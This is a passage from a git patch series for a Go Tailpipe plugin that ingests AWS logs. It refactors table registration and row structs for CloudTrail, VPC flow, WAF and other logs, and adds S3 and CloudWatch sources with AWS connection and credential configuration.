"github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -25,7 +23,7 @@ func init() { // VpcFlowLogTable - table for VPC Flow Logs type VpcFlowLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *artifact_source.AwsConnection] } func (c *VpcFlowLogTable) initMapper() func() table.Mapper[*rows.VpcFlowLog] { diff --git a/tables/vpc_flow_log_table_config.go b/tables/vpc_flow_log_table_config.go index b6daa3ed..203cfab1 100644 --- a/tables/vpc_flow_log_table_config.go +++ b/tables/vpc_flow_log_table_config.go @@ -22,7 +22,7 @@ type VpcFlowLogTableConfig struct { Fields []string `hcl:"fields,optional"` } -func (c *VpcFlowLogTableConfig) Validate() error { +func (c VpcFlowLogTableConfig) Validate() error { // set default fields if none are specified if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields @@ -30,3 +30,7 @@ func (c *VpcFlowLogTableConfig) Validate() error { return nil } + +func (VpcFlowLogTableConfig) Identifier() string { + return VpcFlowLogTableIdentifier +} diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index b613e962..c4172542 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -5,9 +5,7 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -28,7 +26,7 @@ func init() { // WafTrafficLogTable - table for Waf traffic logs type WafTrafficLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *artifact_source.AwsConnection] } func (c *WafTrafficLogTable) SupportedSources() []*table.SourceMetadata[*rows.WafTrafficLog] { diff --git a/tables/waf_traffic_log_table_config.go b/tables/waf_traffic_log_table_config.go index b5650fcb..2cca4255 100644 --- a/tables/waf_traffic_log_table_config.go +++ b/tables/waf_traffic_log_table_config.go @@ -2,6 +2,10 @@ package tables type WafTrafficLogTableConfig struct{} -func (c *WafTrafficLogTableConfig) Validate() error { +func (c WafTrafficLogTableConfig) Validate() error { return nil } + +func (WafTrafficLogTableConfig) Identifier() string { + return WaftTrafficLogTableIdentifier +} From b1c01f7d828b161288eda8ef8f9e6134b142cc19 Mon Sep 17 00:00:00 2001 From: Graza Date: Sun, 24 Nov 2024 14:18:09 +0000 Subject: [PATCH 096/180] refactor: JSON columns now JSON not JSONString (#28) --- rows/cloudtrail_log.go | 60 ++++++++++++++++----------------- rows/guardduty_finding.go | 2 +- rows/securityhub_finding_log.go | 19 +++++------ 3 files changed, 39 insertions(+), 42 deletions(-) diff --git a/rows/cloudtrail_log.go b/rows/cloudtrail_log.go index 85bbcc7c..cc84e6a3 100644 --- a/rows/cloudtrail_log.go +++ b/rows/cloudtrail_log.go @@ -15,37 +15,35 @@ type CloudTrailLog struct { // embed required enrichment fields enrichment.CommonFields - // TODO json fields should be snake case - these are probably camel case because - // they are coming from the AWS SDK? in which case we should just use a mapper - AdditionalEventData *types.JSONString `json:"additionalEventData,omitempty"` - APIVersion *string `json:"apiVersion,omitempty"` - AwsRegion string `json:"awsRegion"` - ErrorCode *string `json:"errorCode,omitempty"` - ErrorMessage *string `json:"errorMessage,omitempty"` - EventID string `json:"eventID"` - EventName string `json:"eventName"` - EventSource string `json:"eventSource"` - EventTime *time.Time `json:"eventTime"` - EventType string `json:"eventType"` - EventVersion string `json:"eventVersion"` - ManagementEvent *bool `json:"managementEvent,omitempty" ` - ReadOnly *bool `json:"readOnly,omitempty"` - RecipientAccountId string `json:"recipientAccountId,omitempty" ` - RequestID *string `json:"requestID,omitempty" ` - RequestParameters *types.JSONString `json:"requestParameters,omitempty" ` - Resources []*Resource `json:"resources,omitempty" ` - ResponseElements *types.JSONString `json:"responseElements,omitempty" ` - ServiceEventDetails *types.JSONString `json:"serviceEventDetails,omitempty"` - SharedEventID *string `json:"sharedEventID,omitempty"` - SourceIPAddress *string `json:"sourceIPAddress,omitempty"` - UserAgent *string `json:"userAgent,omitempty"` - UserIdentity UserIdentity `json:"userIdentity"` - VpcEndpointId string `json:"vpcEndpointId,omitempty"` - EventCategory string `json:"eventCategory,omitempty"` - // TODO - this looks like a bool, but is in the JSON as a string ... should we convert it? - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` - EdgeDeviceDetails *types.JSONString `json:"edgeDeviceDetails,omitempty"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` + // json tags for marshalling to/from the source & parquet tags handle the parquet column names for the table + AdditionalEventData *map[string]interface{} `json:"additionalEventData,omitempty" parquet:"name=additional_event_data, type=JSON"` + APIVersion *string `json:"apiVersion,omitempty" parquet:"name=api_version"` + AwsRegion string `json:"awsRegion" parquet:"name=aws_region"` + ErrorCode *string `json:"errorCode,omitempty" parquet:"name=error_code"` + ErrorMessage *string `json:"errorMessage,omitempty" parquet:"name=error_message"` + EventID string `json:"eventID" parquet:"name=event_id"` + EventName string `json:"eventName" parquet:"name=event_name"` + EventSource string `json:"eventSource" parquet:"name=event_source"` + EventTime *time.Time `json:"eventTime" parquet:"name=event_time"` + EventType string `json:"eventType" parquet:"name=event_type"` + EventVersion string `json:"eventVersion" parquet:"name=event_version"` + ManagementEvent *bool `json:"managementEvent,omitempty" parquet:"name=management_event"` + ReadOnly *bool `json:"readOnly,omitempty" parquet:"name=read_only"` + RecipientAccountId string `json:"recipientAccountId,omitempty" parquet:"name=recipient_account_id"` + RequestID *string `json:"requestID,omitempty" parquet:"name=request_id"` + RequestParameters *map[string]interface{} `json:"requestParameters,omitempty" parquet:"name=request_parameters, type=JSON"` + Resources []*Resource `json:"resources,omitempty" parquet:"name=resources, type=JSON"` + ResponseElements *map[string]interface{} `json:"responseElements,omitempty" parquet:"name=response_elements, type=JSON"` + ServiceEventDetails *map[string]interface{} `json:"serviceEventDetails,omitempty" parquet:"name=service_event_details, type=JSON"` + SharedEventID *string `json:"sharedEventID,omitempty" parquet:"name=shared_event_id"` + SourceIPAddress *string `json:"sourceIPAddress,omitempty" parquet:"name=source_ip_address"` + UserAgent *string `json:"userAgent,omitempty" parquet:"name=user_agent"` + UserIdentity UserIdentity `json:"userIdentity" parquet:"name=user_identity, type=JSON"` + VpcEndpointId string `json:"vpcEndpointId,omitempty" parquet:"name=vpc_endpoint_id"` + EventCategory string `json:"eventCategory,omitempty" parquet:"name=event_category"` + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty" parquet:"name=session_credential_from_console"` + EdgeDeviceDetails *map[string]interface{} `json:"edgeDeviceDetails,omitempty" parquet:"name=edge_device_details, type=JSON"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details, type=JSON"` } type UserIdentity struct { diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index 0761c506..87834747 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -33,7 +33,7 @@ type GuardDutyFinding struct { InstanceType *string `json:"instance_type"` OutpostArn *string `json:"outpost_arn"` LaunchTime *time.Time `json:"launch_time"` - Ipv6Addresses []string `json:"ipv6_addresses"` + Ipv6Addresses []string `json:"ipv6_addresses" parquet:"type=JSON"` NetworkInterfaceId string `json:"network_interface_id"` PrivateDnsName string `json:"private_dns_name"` PrivateIpAddress string `json:"private_ip_address"` diff --git a/rows/securityhub_finding_log.go b/rows/securityhub_finding_log.go index 2b044eef..c72d825d 100644 --- a/rows/securityhub_finding_log.go +++ b/rows/securityhub_finding_log.go @@ -4,20 +4,19 @@ import ( "time" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/types" ) type SecurityHubFindingLog struct { enrichment.CommonFields // Top level fields - Version *string `json:"version,omitempty"` - ID *string `json:"id,omitempty"` - DetailType *string `json:"detail-type,omitempty"` - Source *string `json:"source,omitempty"` - Account *string `json:"account,omitempty"` - Time *time.Time `json:"time,omitempty"` - Region *string `json:"region,omitempty"` - Resources []*string `json:"resources,omitempty"` - DetailFindings *types.JSONString `json:"detail"` + Version *string `json:"version,omitempty"` + ID *string `json:"id,omitempty"` + DetailType *string `json:"detail-type,omitempty"` + Source *string `json:"source,omitempty"` + Account *string `json:"account,omitempty"` + Time *time.Time `json:"time,omitempty"` + Region *string `json:"region,omitempty"` + Resources []*string `json:"resources,omitempty"` + DetailFindings *map[string]interface{} `json:"detail" parquet:"name=detail, type=JSON"` } From f6a8005338a1444c24c280b9a12b5ab481b1341a Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 25 Nov 2024 12:16:53 +0000 Subject: [PATCH 097/180] - remove TableImpl - RegisterTable now takes additional type params - SupportedSources takes config param --- tables/alb_access_log_table.go | 12 +++++++----- tables/cloudtrail_log_table.go | 14 +++++++------- tables/cost_usage_log_table.go | 14 +++++++------- tables/elb_access_log_table.go | 13 +++++++------ tables/guardduty_finding_table.go | 13 +++++++------ tables/lambda_log_table.go | 13 +++++++------ tables/s3_server_access_log_table.go | 13 +++++++------ tables/securityhub_finding_log_table.go | 9 +++------ tables/vpc_flow_log_table.go | 20 ++++++++++---------- tables/waf_traffic_log_table.go | 14 +++++++------- 10 files changed, 69 insertions(+), 66 deletions(-) diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index d6f94c93..a8791273 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -18,12 +18,14 @@ const albLogFormat = `$type $timestamp $alb $client $target $request_processing_ const albLogFormatNoConnTrace = `$type $timestamp $alb $client $target $request_processing_time $target_processing_time $response_processing_time $alb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` func init() { - table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *AlbAccessLogTable]() } -type AlbAccessLogTable struct { - table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *artifact_source.AwsConnection] -} +type AlbAccessLogTable struct{} func (c *AlbAccessLogTable) initMapper() func() table.Mapper[*rows.AlbAccessLog] { f := func() table.Mapper[*rows.AlbAccessLog] { @@ -32,7 +34,7 @@ func (c *AlbAccessLogTable) initMapper() func() table.Mapper[*rows.AlbAccessLog] return f } -func (c *AlbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.AlbAccessLog] { +func (c *AlbAccessLogTable) SupportedSources(*AlbAccessLogTableConfig) []*table.SourceMetadata[*rows.AlbAccessLog] { return []*table.SourceMetadata[*rows.AlbAccessLog]{ { // any artifact source diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 678cba80..801964b0 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -18,18 +18,18 @@ import ( const CloudTrailLogTableIdentifier = "aws_cloudtrail_log" -// register the table from the package init function func init() { - table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *CloudTrailLogTable]() } // CloudTrailLogTable - table for CloudTrailLog logs -type CloudTrailLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *artifact_source.AwsConnection] -} +type CloudTrailLogTable struct{} -func (t *CloudTrailLogTable) SupportedSources() []*table.SourceMetadata[*rows.CloudTrailLog] { +func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*table.SourceMetadata[*rows.CloudTrailLog] { // the default file layout for CloudTrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 3d0d33dd..e46d740e 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -19,23 +19,23 @@ import ( const CostUsageLogTableIdentifier = "aws_cost_usage_log" -// register the table from the package init function func init() { - table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *CostAndUsageLogTable]() } // CostAndUsageLogTable - table for CostAndUsageLogs -type CostAndUsageLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *artifact_source.AwsConnection] -} +type CostAndUsageLogTable struct{} // Identifier implements table.Table func (t *CostAndUsageLogTable) Identifier() string { return CostUsageLogTableIdentifier } -func (t *CostAndUsageLogTable) SupportedSources() []*table.SourceMetadata[*rows.CostAndUsageLog] { +func (t *CostAndUsageLogTable) SupportedSources(partitionConfig *CostAndUsageLogTableConfig) []*table.SourceMetadata[*rows.CostAndUsageLog] { // TODO fix FileLayout defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 66185c19..7530e6e9 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -14,17 +14,18 @@ import ( const ElbAccessLogTableIdentifier = "aws_elb_access_log" -// register the table from the package init function func init() { - table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *ElbAccessLogTable]() } const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` -type ElbAccessLogTable struct { - table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *artifact_source.AwsConnection] -} +type ElbAccessLogTable struct{} func (c *ElbAccessLogTable) initMapper() func() table.Mapper[*rows.ElbAccessLog] { f := func() table.Mapper[*rows.ElbAccessLog] { @@ -37,7 +38,7 @@ func (c *ElbAccessLogTable) Identifier() string { return ElbAccessLogTableIdentifier } -func (c *ElbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.ElbAccessLog] { +func (c *ElbAccessLogTable) SupportedSources(*ElbAccessLogTableConfig) []*table.SourceMetadata[*rows.ElbAccessLog] { return []*table.SourceMetadata[*rows.ElbAccessLog]{ { SourceName: constants.ArtifactSourceIdentifier, diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index f70a547a..8b22b930 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -17,21 +17,22 @@ import ( const GuardDutyFindingTableIdentifier = "aws_guardduty_finding" -// register the table from the package init function func init() { - table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *GuardDutyFindingTable]() } // GuardDutyFindingTable - table for GuardDuty Findings -type GuardDutyFindingTable struct { - table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *artifact_source.AwsConnection] -} +type GuardDutyFindingTable struct{} func (c *GuardDutyFindingTable) Identifier() string { return GuardDutyFindingTableIdentifier } -func (c *GuardDutyFindingTable) SupportedSources() []*table.SourceMetadata[*rows.GuardDutyFinding] { +func (c *GuardDutyFindingTable) SupportedSources(*GuardDutyFindingTableConfig) []*table.SourceMetadata[*rows.GuardDutyFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), } diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index e4133266..49acf24d 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -16,19 +16,20 @@ import ( const LambdaLogTableIdentifier = "aws_lambda_log" func init() { - table.RegisterTable[*rows.LambdaLog, *LambdaLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.LambdaLog, *LambdaLogTableConfig, *LambdaLogTable]() } -type LambdaLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.LambdaLog, *LambdaLogTableConfig, *artifact_source.AwsConnection] -} +type LambdaLogTable struct{} func (c *LambdaLogTable) Identifier() string { return LambdaLogTableIdentifier } -func (c *LambdaLogTable) SupportedSources() []*table.SourceMetadata[*rows.LambdaLog] { +func (c *LambdaLogTable) SupportedSources(*LambdaLogTableConfig) []*table.SourceMetadata[*rows.LambdaLog] { return []*table.SourceMetadata[*rows.LambdaLog]{ { // any artifact source diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index cb33fb44..eaeff02e 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -16,20 +16,21 @@ const S3ServerAccessLogTableIdentifier = "aws_s3_server_access_log" const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` -// register the table from the package init function func init() { - table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *S3ServerAccessLogTable]() } -type S3ServerAccessLogTable struct { - table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *artifact_source.AwsConnection] -} +type S3ServerAccessLogTable struct{} func (c *S3ServerAccessLogTable) Identifier() string { return S3ServerAccessLogTableIdentifier } -func (c *S3ServerAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.S3ServerAccessLog] { +func (c *S3ServerAccessLogTable) SupportedSources(*S3ServerAccessLogTableConfig) []*table.SourceMetadata[*rows.S3ServerAccessLog] { return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ { // any artifact source diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 3461eb6d..89d596bf 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -19,19 +19,16 @@ const SecurityHubFindingLogTableIdentifier = "aws_securityhub_finding_log" // register the table from the package init function func init() { - table.RegisterTable[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTable]() + table.RegisterTable[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *SecurityHubFindingLogTable]() } -type SecurityHubFindingLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *artifact_source.AwsConnection] -} +type SecurityHubFindingLogTable struct{} func (c *SecurityHubFindingLogTable) Identifier() string { return SecurityHubFindingLogTableIdentifier } -func (c *SecurityHubFindingLogTable) SupportedSources() []*table.SourceMetadata[*rows.SecurityHubFindingLog] { +func (c *SecurityHubFindingLogTable) SupportedSources(*SecurityHubFindingLogTableConfig) []*table.SourceMetadata[*rows.SecurityHubFindingLog] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 177ef658..81177c4b 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -15,30 +15,30 @@ import ( const VpcFlowLogTableIdentifier = "aws_vpc_flow_log" -// register the table from the package init function func init() { - table.RegisterTable[*rows.VpcFlowLog, *VpcFlowLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *VpcFlowLogTable]() } // VpcFlowLogTable - table for VPC Flow Logs -type VpcFlowLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *artifact_source.AwsConnection] -} +type VpcFlowLogTable struct{} -func (c *VpcFlowLogTable) initMapper() func() table.Mapper[*rows.VpcFlowLog] { +func (c *VpcFlowLogTable) initMapper(partitionConfig *VpcFlowLogTableConfig) func() table.Mapper[*rows.VpcFlowLog] { f := func() table.Mapper[*rows.VpcFlowLog] { - return mappers.NewVpcFlowLogMapper(c.Config.Fields) + return mappers.NewVpcFlowLogMapper(partitionConfig.Fields) } return f } -func (c *VpcFlowLogTable) SupportedSources() []*table.SourceMetadata[*rows.VpcFlowLog] { +func (c *VpcFlowLogTable) SupportedSources(partitionConfig *VpcFlowLogTableConfig) []*table.SourceMetadata[*rows.VpcFlowLog] { return []*table.SourceMetadata[*rows.VpcFlowLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: c.initMapper(), + MapperFunc: c.initMapper(partitionConfig), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index c4172542..e004f6a7 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -18,18 +18,18 @@ import ( const WaftTrafficLogTableIdentifier = "aws_waf_traffic_log" -// register the table from the package init function func init() { - table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTable]() + // Register the table, with type parameters: + // 1. row struct + // 2. table config struct + // 3. table implementation + table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *WafTrafficLogTable]() } // WafTrafficLogTable - table for Waf traffic logs -type WafTrafficLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *artifact_source.AwsConnection] -} +type WafTrafficLogTable struct{} -func (c *WafTrafficLogTable) SupportedSources() []*table.SourceMetadata[*rows.WafTrafficLog] { +func (c *WafTrafficLogTable) SupportedSources(*WafTrafficLogTableConfig) []*table.SourceMetadata[*rows.WafTrafficLog] { // the default file layout for Waf traffic logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/WAFLogs/(?P[a-zA-Z0-9-_]+)/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P\\d{2})/(?P.+\\.gz)"), From 06cebc644d356f8f6737485b1401b1457ee1f685 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 26 Nov 2024 15:30:17 +0000 Subject: [PATCH 098/180] feat: added AWS based sources and collection state (#29) --- aws/plugin.go | 1 + config/aws_connection.go | 448 ++++++++++++++++++++- sources/aws_cloudwatch_collection_state.go | 42 ++ sources/aws_cloudwatch_source.go | 258 ++++++++++++ sources/aws_cloudwatch_source_config.go | 57 +++ sources/aws_s3_bucket_source.go | 220 ++++++++++ sources/aws_s3_bucket_source_config.go | 32 ++ sources/aws_s3_collection_state.go | 39 ++ 8 files changed, 1079 insertions(+), 18 deletions(-) create mode 100644 sources/aws_cloudwatch_collection_state.go create mode 100644 sources/aws_cloudwatch_source.go create mode 100644 sources/aws_cloudwatch_source_config.go create mode 100644 sources/aws_s3_bucket_source.go create mode 100644 sources/aws_s3_bucket_source_config.go create mode 100644 sources/aws_s3_collection_state.go diff --git a/aws/plugin.go b/aws/plugin.go index 4298a5ee..82531fa6 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -5,6 +5,7 @@ import ( "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/plugin" // reference the table package to ensure that the tables are registered by the init functions + _ "github.com/turbot/tailpipe-plugin-aws/sources" _ "github.com/turbot/tailpipe-plugin-aws/tables" ) diff --git a/config/aws_connection.go b/config/aws_connection.go index d1f44345..8dee30d7 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -1,24 +1,436 @@ package config +import ( + "context" + "fmt" + "log/slog" + "math" + "math/rand" + "net" + "net/http" + "os" + "strconv" + "strings" + "time" + + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/aws/retry" + awshttp "github.com/aws/aws-sdk-go-v2/aws/transport/http" + "github.com/aws/aws-sdk-go-v2/config" + "github.com/aws/aws-sdk-go-v2/credentials" + "github.com/rs/dnscache" + "golang.org/x/sync/semaphore" +) + const PluginName = "aws" -// TODO TEMP -// this has been moved to the sdk for now until we move the sources back to the plugin +type AwsConnection struct { + Regions []string `hcl:"regions,optional"` + DefaultRegion *string `hcl:"default_region"` + Profile *string `hcl:"profile"` + AccessKey *string `hcl:"access_key"` + SecretKey *string `hcl:"secret_key"` + SessionToken *string `hcl:"session_token"` + MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` + MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` + IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` + EndpointUrl *string `hcl:"endpoint_url"` + S3ForcePathStyle *bool `hcl:"s3_force_path_style"` +} + +func (c *AwsConnection) Validate() error { + if c.AccessKey != nil && c.SecretKey == nil { + return fmt.Errorf("access_key set without secret_key") + } + + if c.AccessKey == nil && c.SecretKey != nil { + return fmt.Errorf("secret_key set without access_key") + } + + if c.MinErrorRetryDelay != nil && *c.MinErrorRetryDelay < 1 { + return fmt.Errorf("min_error_retry_delay must be greater than or equal to 10") + } + + if c.MaxErrorRetryAttempts != nil && *c.MaxErrorRetryAttempts < 1 { + return fmt.Errorf("max_error_retry_attempts must be greater than or equal to 1") + } + + return nil +} + +func (c *AwsConnection) Identifier() string { + return PluginName +} + +func (c *AwsConnection) GetClientConfiguration(ctx context.Context, overrideRegion *string) (*aws.Config, error) { + var configOptions []func(*config.LoadOptions) error + + // profile + if c.Profile != nil { + profile := aws.ToString(c.Profile) + configOptions = append(configOptions, config.WithSharedConfigProfile(profile)) + } + + // access keys + if c.AccessKey != nil && c.SecretKey != nil { + accessKey := aws.ToString(c.AccessKey) + secretKey := aws.ToString(c.SecretKey) + sessionToken := "" + if c.SessionToken != nil { + sessionToken = aws.ToString(c.SessionToken) + } + provider := credentials.NewStaticCredentialsProvider(accessKey, secretKey, sessionToken) + configOptions = append(configOptions, config.WithCredentialsProvider(provider)) + } + + // shared http client + configOptions = append(configOptions, config.WithHTTPClient(sharedHTTPClient)) + + // load base config + cfg, err := config.LoadDefaultConfig(ctx, configOptions...) + if err != nil { + return nil, fmt.Errorf("error loading AWS config: %w", err) + } + + // if no region from base config, apply default region + if overrideRegion != nil { + cfg.Region = *overrideRegion + } else if cfg.Region == "" { + defaultRegion := c.getDefaultRegion() + configOptions = append(configOptions, config.WithRegion(defaultRegion)) + cfg, err = config.LoadDefaultConfig(ctx, configOptions...) + if err != nil { + return nil, fmt.Errorf("error loading AWS config: %w", err) + } + } + + // retry handling + maxRetries := getConfigOrEnvInt(c.MaxErrorRetryAttempts, "AWS_MAX_ATTEMPTS", 9) + var minRetryDelay = 25 * time.Millisecond + if c.MinErrorRetryDelay != nil { + minRetryDelay = time.Duration(*c.MinErrorRetryDelay) * time.Millisecond + } + + retryer := retry.NewStandard(func(o *retry.StandardOptions) { + // resetting state of rand to generate different random values + 